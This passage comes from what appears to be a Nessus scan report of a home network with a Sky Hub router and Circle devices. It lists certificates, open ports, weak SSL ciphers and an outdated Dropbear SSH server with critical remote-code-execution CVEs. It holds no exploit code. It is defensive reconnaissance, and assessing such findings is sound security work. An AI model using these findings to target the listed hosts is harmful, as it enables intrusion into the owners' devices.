rather than 404. The requested URL was : 

    https://SkyRouter.Home:8890/rWar5Bek2ELz.html
										None								4/28/00		6/12/20

		10863						None		192.168.0.1		tcp		4567		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
Organization: Circle Media Inc
Common Name: localhost

Issuer Name: 

Country: US
Organization: Circle Media Inc
Common Name: localhost

Serial Number: 3C E5 6E 7F 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Apr 16 04:44:57 2019 GMT
Not Valid After: Apr 11 04:44:57 2039 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 C4 0A 0D EE 51 19 DB 69 E6 FC 2A DB A6 1E A7 7C 5A 56 35 
            62 0D 7C 97 D3 87 38 FF 46 12 A8 25 FA BE 2C B1 8A D7 4D 81 
            97 1F 2E 1F AD 7B 50 AF CC 2A 50 9B 57 F3 BF 54 7B DE 1B 4B 
            96 76 DC AE 86 A1 48 44 B6 EC D6 0F 73 3E 9D B1 5F 8C 49 AB 
            F5 3B 30 70 44 E3 CD 05 A2 00 80 2D CB 99 51 47 84 43 3B 1D 
            C7 A9 E5 AA 73 28 A8 9C BD B5 24 3D A9 55 56 40 27 1C BD CF 
            4D EA 44 24 5F EA B7 5A 22 C5 4E 4E FD C4 1C DB 8B 31 98 E4 
            49 A7 5D AC AC A7 2B 65 97 0A 27 D7 3F 24 7D 4C 3B 73 0B A5 
            EE 04 4B 09 76 A6 85 3A FD ED 4A 21 BD D7 CB D2 EA 9B 6E 4F 
            3F 25 A9 EF 42 D5 6F C2 C1 47 C8 3E 22 15 E1 86 92 F4 10 FF 
            8F 2E F8 66 B1 2E 9F CE 11 D3 7E 19 A9 A2 46 1C 90 5F 79 21 
            F8 98 7C 69 08 ED F2 41 A5 32 FD 8B 65 24 9F CB C2 BC DC 70 
            F3 84 48 71 DD 43 E5 38 A8 75 CB 85 15 89 87 15 31 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 06 BF C2 E5 06 B9 36 CB CB E5 53 F0 91 2F F9 E9 3F C7 1D 
           C4 B0 53 95 14 6E 43 0C 0A 27 95 3C BC 1F 50 BE D4 4F 5A A5 
           5F BA 39 12 C0 69 A9 4F 2A 27 5E E2 FE E8 04 41 39 A3 6B 8B 
           18 A7 CD 14 6B FD 70 5B 10 53 35 9C C8 63 F6 AA 4F 7C 54 19 
           6C 74 E5 AF D0 23 1F F3 66 27 50 0B B9 74 57 D9 76 A6 C8 EF 
           89 01 86 7A 23 48 05 06 84 7E 09 D7 3B 1D CB EB E0 8A EE AD 
           10 CC DE EA CB 82 4B 79 8C 3D EC D0 27 EC EC 60 33 7F 41 DA 
           D7 35 E9 AD 47 C2 20 DC 45 21 BD 0F 3A B2 55 40 A0 AC 76 F1 
           BD BB 5C 92 ED 07 89 87 66 8B EA F4 D7 7A 8C 79 32 3A 6B 13 
           0D 92 22 55 C3 41 94 12 05 E4 79 4F DF 9D F2 3C A8 80 26 3A 
           02 FB 93 F6 2C 14 EE 88 62 1F A7 59 41 30 75 89 78 86 50 C0 
           F2 6A 53 23 0E 84 54 B9 DC 12 CA C2 8C B6 C6 1E EE 86 77 A6 
           B4 53 93 47 F5 06 8A DD F1 03 71 13 85 9A 40 32 CA 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature, Key Encipherment


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: 1.3.6.1.5.5.8.2.2
Purpose#2: Web Server Authentication (1.3.6.1.5.5.7.3.1)
Purpose#3: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Extension: Subject Alternative Name (2.5.29.17)
Critical: 0
DNS: meetcircle.local


Fingerprints : 

SHA-256 Fingerprint: 4E 9F EB 2A 8B 88 D4 7C 18 FD 43 B4 30 86 D0 FC 5B F1 B7 4E 
                     C3 0E 40 C3 0D 99 75 1E AC 5D 57 12 
SHA-1 Fingerprint: E9 4D DF 54 A9 4B EC E0 14 49 2F 6D 60 7F AF C5 20 0A 3B 47 
MD5 Fingerprint: 20 4F 6F 93 FC 12 7C D8 9C 27 49 60 1E 01 44 07 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		10863						None		192.168.0.1		tcp		8890		SSL Certificate Information		This plugin displays the SSL certificate.		This plugin connects to every SSL-related port and attempts to 
extract and dump the X.509 certificate.		n/a				Subject Name: 

Country: US
Organization: Circle Media Inc.
Common Name: Circle002

Issuer Name: 

Country: US
Organization: Circle Media Inc
Common Name: Circle Root CA 1

Serial Number: 02 

Version: 3

Signature Algorithm: SHA-256 With RSA Encryption

Not Valid Before: Sep 08 21:42:16 2016 GMT
Not Valid After: Sep 03 21:42:16 2036 GMT

Public Key Info: 

Algorithm: RSA Encryption
Key Length: 2048 bits
Public Key: 00 BB 38 F5 78 02 3B CF 53 A2 55 69 8A DC F3 91 B9 72 09 E1 
            E1 91 C0 66 9F 3A 0A CF 66 24 87 33 E3 4A 20 D1 3F A5 BA 05 
            B3 30 61 CF 14 40 60 84 B4 E9 E2 6E 3E B3 69 BA CB 47 E8 8B 
            B6 DC 8D 72 F1 CD D0 50 9C 20 BC BD 58 27 68 70 BE 80 33 93 
            A3 B0 13 8D D7 C6 47 5D B8 42 40 D4 0E 1D 62 F1 F9 9E A3 2C 
            13 11 A1 56 1B 0B FF CD D2 CB 06 FB 6D AC 7F 4C 65 85 F6 B1 
            A3 B7 30 07 E4 6E 88 E1 60 00 6B 28 DD E3 A8 1E 5B E2 A6 55 
            A2 49 86 B7 E9 E4 03 9E 85 44 2F 40 8A D4 EB FE 40 D0 7F 86 
            50 96 84 1D DC AB 24 81 AF 01 7D 92 AF B2 30 D8 C2 E2 D0 89 
            60 FC EB 77 6A F9 86 65 B9 9E A9 03 88 72 89 E5 71 AE E0 E2 
            7E D6 30 3B 72 D3 B1 AA D6 18 77 67 AD F6 BD 12 62 8C 9F 69 
            0D 6B 1D DF 50 0D 8D 1F 73 A0 C6 88 E4 78 B4 61 2E 5E E4 AD 
            89 74 8F 3A 67 94 10 84 B1 51 16 DE BF FF 7F 8D 0B 
Exponent: 01 00 01 

Signature Length: 256 bytes / 2048 bits
Signature: 00 85 90 7A 97 C2 C1 97 A2 FD D8 9B 47 15 39 02 53 CC 33 29 
           1C 1F 1E 9C C9 83 73 B6 DB 7A 74 27 3B D0 5E DF 68 41 0A 9C 
           6C D2 C2 EB FE E9 A2 47 2E E6 14 8F ED F4 09 2E C0 9C F1 61 
           5F 2D 47 A5 6C 38 E9 A2 CE 19 37 B6 D5 A8 68 4D 66 17 88 46 
           21 62 47 5D 91 9A F8 DC 28 CB 52 6F 4D 92 6E A9 F9 4B B5 98 
           78 5B 6E DB 19 E8 94 3B B9 D8 7A 1E 00 C4 B9 C2 37 10 A1 C0 
           FE F4 55 56 61 68 CB 73 FA 21 6C 5F DA 50 CB 40 03 26 B5 A4 
           23 3E 52 A7 11 7A F3 20 38 EF 76 CD 19 A6 D6 47 8F BA 38 F9 
           E5 42 C7 A5 DA 04 DA E3 78 3C 92 11 E4 CE 55 EC 01 7B 9C A7 
           96 A4 FC 54 9E C9 5F 26 D6 D4 3C F0 88 11 D4 A1 0C 19 40 88 
           44 E2 5B 94 EB 2E 7F A7 71 3A E9 DF FC 42 9F 1F AD 8F 3F F9 
           FF 8A 21 B4 7D 1B 2E F2 CA 8A 91 D1 DF 04 05 3D 5D C5 65 8B 
           57 23 CC B2 A5 AC 3C 65 33 DF 43 55 B5 D6 2B 00 AF 

Extension: Basic Constraints (2.5.29.19)
Critical: 0


Extension: Key Usage (2.5.29.15)
Critical: 0
Key Usage: Digital Signature, Key Encipherment


Extension: Extended Key Usage (2.5.29.37)
Critical: 0
Purpose#1: 1.3.6.1.5.5.8.2.2
Purpose#2: Web Server Authentication (1.3.6.1.5.5.7.3.1)
Purpose#3: Web Client Authentication (1.3.6.1.5.5.7.3.2)


Extension: Subject Alternative Name (2.5.29.17)
Critical: 0
DNS: meetcircle.local


Extension: Subject Key Identifier (2.5.29.14)
Critical: 0
Subject Key Identifier: C7 8D 6B 06 1F 02 44 29 CD 1B 9E 7A 7B 59 EA D9 C1 AE 16 89 


Extension: Authority Key Identifier (2.5.29.35)
Critical: 0
Key Identifier: 88 52 01 5F DC D5 26 ED AF AB 7E 9A 92 23 90 5D 9F 6C 0D C9 


Fingerprints : 

SHA-256 Fingerprint: F2 C3 0C 0C 9C 21 F8 E7 4A A5 8A F6 E7 A9 52 13 DA 6E D5 A3 
                     20 EB 13 7D 68 77 0A 29 2F F2 C4 C9 
SHA-1 Fingerprint: 04 C0 C7 54 B9 11 8E 4F 54 9D CB 7D 38 09 DC 06 AC E3 69 86 
MD5 Fingerprint: 7D DF 22 B9 FD CA 96 58 4A D5 9A D7 A2 E0 43 1A 


PEM certificate : 

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----										None								5/19/08		10/26/20

		11002						None		192.168.0.1		tcp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System												None								2/13/03		5/16/17

		11002						None		192.168.0.1		udp		53		DNS Server Detection		A DNS server is listening on the remote host.		The remote service is a Domain Name System (DNS) server, which
provides a mapping between hostnames and IP addresses.		Disable this service if it is not needed or restrict access to
internal hosts only if the service is available externally.		https://en.wikipedia.org/wiki/Domain_Name_System												None								2/13/03		5/16/17

		11026						None		192.168.0.1		tcp		0		Wireless Access Point Detection		The remote host is a wireless access point.		Nessus has determined that the remote host is a wireless access point
(AP).

Ensure that proper physical and logical controls are in place for its
use. A misconfigured access point may allow an attacker to gain access
to an internal network without being physically present on the
premises. If the access point is using an 'off-the-shelf'
configuration (such as 40 or 104 bit WEP encryption), the data being
passed through the access point may be vulnerable to hijacking or
sniffing.		n/a				
Nessus has determined that this device is an access point based on a
phrase found on the server's default web page. That is, Nessus
maintains a list of commonly-used technical phrases which can be
associated with wireless technologies. When Nessus encounters these
phrases during a scan, a determination is made regarding the nature of
the device. In this case, Nessus has determined that the device may
be running a wireless device with an administrative interface enabled. 
This is a very common configuration for Access Points. The exact
phrases which Nessus flagged on were :

  - Wireless
  - Access Point
  - WPA
  - SSID
										None								6/9/02		6/12/20

		11153						None		192.168.0.1		tcp		4545		Service Detection (HELP Request)		The remote service could be identified.		It was possible to identify the remote service by its banner or by
looking at the error message it sends when it receives a 'HELP'
request.		n/a				AIX Global ODM (a component from HACMP) is running on this port.										None								11/18/02		11/26/18

		11197		CVE-2003-0001		3.3		Low		192.168.0.1		icmp		0		Multiple Ethernet Driver Frame Padding Information Disclosure (Etherleak)		The remote host appears to leak memory in network packets.		The remote host uses a network device driver that pads ethernet frames
with data which vary from one packet to another, likely taken from
kernel memory, system memory allocated to the device driver, or a
hardware buffer on its network interface card.

Known as 'Etherleak', this information disclosure vulnerability may
allow an attacker to collect sensitive information from the affected
host provided he is on the same physical subnet as that host.		Contact the network device driver's vendor for a fix.		http://www.nessus.org/u?719c90b4		
Padding observed in one frame :

  0x00:  47 ED 1C CF 98 03 56 CA 5F 03 56 DA B7 00 00 0A    G.....V._.V.....
  0x10:  17                                                 .               
  
Padding observed in another frame :

  0x00:  30 14 01 00 00 0F AC 04 01 00 00 0F AC 04 01 00    0...............
  0x10:  00                                                 .
						2.6				Low		6535						1/14/03		3/6/19

		11219						None		192.168.0.1		tcp		53		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 53/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4444		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4444/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4545		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4545/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		4567		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 4567/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		5300		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5300/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		5431		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 5431/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		8889		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8889/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		8890		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8890/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.1		tcp		31337		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 31337/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.1		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Sky Hub SR102 1.0
Confidence level : 80
Method : UPnP

 
The remote host is running Sky Hub SR102 1.0										None								12/9/03		3/9/20

		12053						None		192.168.0.1		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.1 resolves as SkyRouter.Home.
										None								2/11/04		4/14/17

		93650		CVE-2016-7406		10		Critical		192.168.0.2		tcp		22		Dropbear SSH Server < 2016.72 Multiple Vulnerabilities		The SSH service running on the remote host is affected by multiple
vulnerabilities.		According to its self-reported version in its banner, Dropbear SSH
running on the remote host is prior to 2016.74. It is, therefore,
affected by the following vulnerabilities :

  - A format string flaw exists due to improper handling of
    string format specifiers (e.g., %s and %x) in usernames
    and host arguments. An unauthenticated, remote attacker
    can exploit this to execute arbitrary code with root
    privileges. (CVE-2016-7406)

  - A flaw exists in dropbearconvert due to improper
    handling of specially crafted OpenSSH key files. An
    unauthenticated, remote attacker can exploit this to
    execute arbitrary code. (CVE-2016-7407)

  - A flaw exists in dbclient when handling the -m or -c
    arguments in scripts. An unauthenticated, remote attacker
    can exploit this, via a specially crafted script, to
    execute arbitrary code. (CVE-2016-7408)

  - A flaw exists in dbclient or dropbear server if they are
    compiled with the DEBUG_TRACE option and then run using
    the -v switch. A local attacker can exploit this to
    disclose process memory. (CVE-2016-7409)		Upgrade to Dropbear SSH version 2016.74 or later.		https://matt.ucc.asn.au/dropbear/CHANGES		
  Version source    : SSH-2.0-dropbear_2012.55
  Installed version : 2012.55
  Fixed version     : 2016.74
				9.8		7.4		8.5		Critical		92970;92972;92973;92974						9/22/16		11/14/19

		19506						None		192.168.0.1		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:08 EST
Scan duration : 1452 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.1		tcp		4567		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		21643						None		192.168.0.1		tcp		8890		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    RSA-AES256-SHA384             0x00, 0x9D       RSA           RSA      AES-GCM(256)           SHA384
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1
    RSA-AES128-SHA256             0x00, 0x3C       RSA           RSA      AES-CBC(128)           SHA256
    RSA-AES256-SHA256             0x00, 0x3D       RSA           RSA      AES-CBC(256)           SHA256


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    CAMELLIA128-SHA               0x00, 0x41       RSA           RSA      Camellia-CBC(128)      SHA1
    CAMELLIA256-SHA               0x00, 0x84       RSA           RSA      Camellia-CBC(256)      SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.1		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4444		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4567		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		4567		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		5300		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				The service closed the connection without sending any data.
It might be protected by some sort of TCP wrapper.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8889		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8890		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.1		tcp		8890		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.1		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : no
Options allowed : (Not implemented)
Headers :

  Server: sky_router
  X-Frame-Options: Deny
  Cache-Control: no-cache
  Date: Thu, 05 Nov 2020 18:19:04 GMT
  Content-Type: text/html
  Connection: close
  
Response Body :

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- v4.2 -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Sky Hub &gt; Home</title>
<link type="text/css" rel="stylesheet" href="assets/css/fonts.css"/>
<link type="text/css" rel="stylesheet" href="assets/css/main.css"/>
